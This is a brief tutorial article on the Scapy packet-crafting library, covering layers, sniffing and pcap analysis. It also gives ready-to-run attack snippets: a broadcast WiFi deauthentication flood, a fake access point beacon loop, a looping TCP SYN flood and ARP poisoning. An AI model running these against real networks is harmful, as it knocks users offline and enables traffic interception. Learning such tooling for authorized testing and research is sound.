Scapy - Packet Crafting and Injection
2 min readArticle
Scapy is a powerful Python library for crafting, sending, receiving, and dissecting network packets. Unlike tools like nmap that do specific things, Scapy is a framework — you build whatever you want at the packet level. Essential for custom attacks, fuzzing, and network research.
Installation
bash
# Install
pip install scapy
sudo apt install python3-scapy
# Run interactively
sudo scapy
# Or
sudo python3 -c "from scapy.all import *"
Basics — Packet Layers
python
from scapy.all import *
# View all available layers
ls()
# Build a packet layer by layer
ip = IP(dst="192.168.1.1")
tcp = TCP(dport=80, flags="S") # SYN packet
# Stack layers with /
packet = ip / tcp
packet.show() # Display all fields
# Send and receive
resp = sr1(packet, timeout=2) # Send one, receive one
resp.show()
WiFi / 802.11 Packet Injection
python
from scapy.all import *
# Deauthentication frame (kick a client off the network)
def deauth(target_mac, ap_mac, iface="wlan0mon"):
dot11 = Dot11(addr1=target_mac, addr2=ap_mac, addr3=ap_mac)
deauth_pkt = RadioTap() / dot11 / Dot11Deauth(reason=7)
sendp(deauth_pkt, iface=iface, count=100, inter=0.1, verbose=1)
# Flood deauth to all clients (broadcast)
deauth("ff:ff:ff:ff:ff:ff", "AA:BB:CC:DD:EE:FF", "wlan0mon")
Sending Custom Packets
python
# ICMP ping
send(IP(dst="8.8.8.8")/ICMP())
# UDP packet
send(IP(dst="192.168.1.1")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com")))
# TCP SYN flood (DoS)
send(IP(dst="target")/TCP(dport=80, flags="S"), loop=1, inter=0.001)
# ARP poisoning
send(ARP(op=2, pdst="192.168.1.1", psrc="192.168.1.254", hwdst="victim_mac"))
Sniffing Packets
python
# Capture packets on interface
sniff(iface="eth0", count=100)
# Filter using BPF
sniff(iface="eth0", filter="tcp port 80", count=50, prn=lambda x: x.summary())
# Save to pcap
pkts = sniff(iface="eth0", count=100)
wrpcap("capture.pcap", pkts)
# Read from pcap
pkts = rdpcap("capture.pcap")
Custom Wireless Frames
python
# Beacon frame (fake AP)
def fake_beacon(ssid, ap_mac, iface="wlan0mon", channel=6):
dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff",
addr2=ap_mac, addr3=ap_mac)
beacon = Dot11Beacon(cap="ESS+privacy")
essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
pkt = RadioTap() / dot11 / beacon / essid
sendp(pkt, iface=iface, inter=0.1, loop=1)
Packet Analysis
python
# Load and analyze a capture
pkts = rdpcap("wifi.pcap")
# Filter for specific traffic
http_pkts = [p for p in pkts if TCP in p and p[TCP].dport == 80]
# Extract payload data
for pkt in http_pkts:
if Raw in pkt:
print(pkt[Raw].load)
See Also
- pyshark-python-packet-analysis - Python wrapper around Wireshark/tshark
- tcpdump-packet-capture - Command-line capture
- nmap-network-scanning - Discovery and scanning
techzonesite.comUnlock Your IT Potential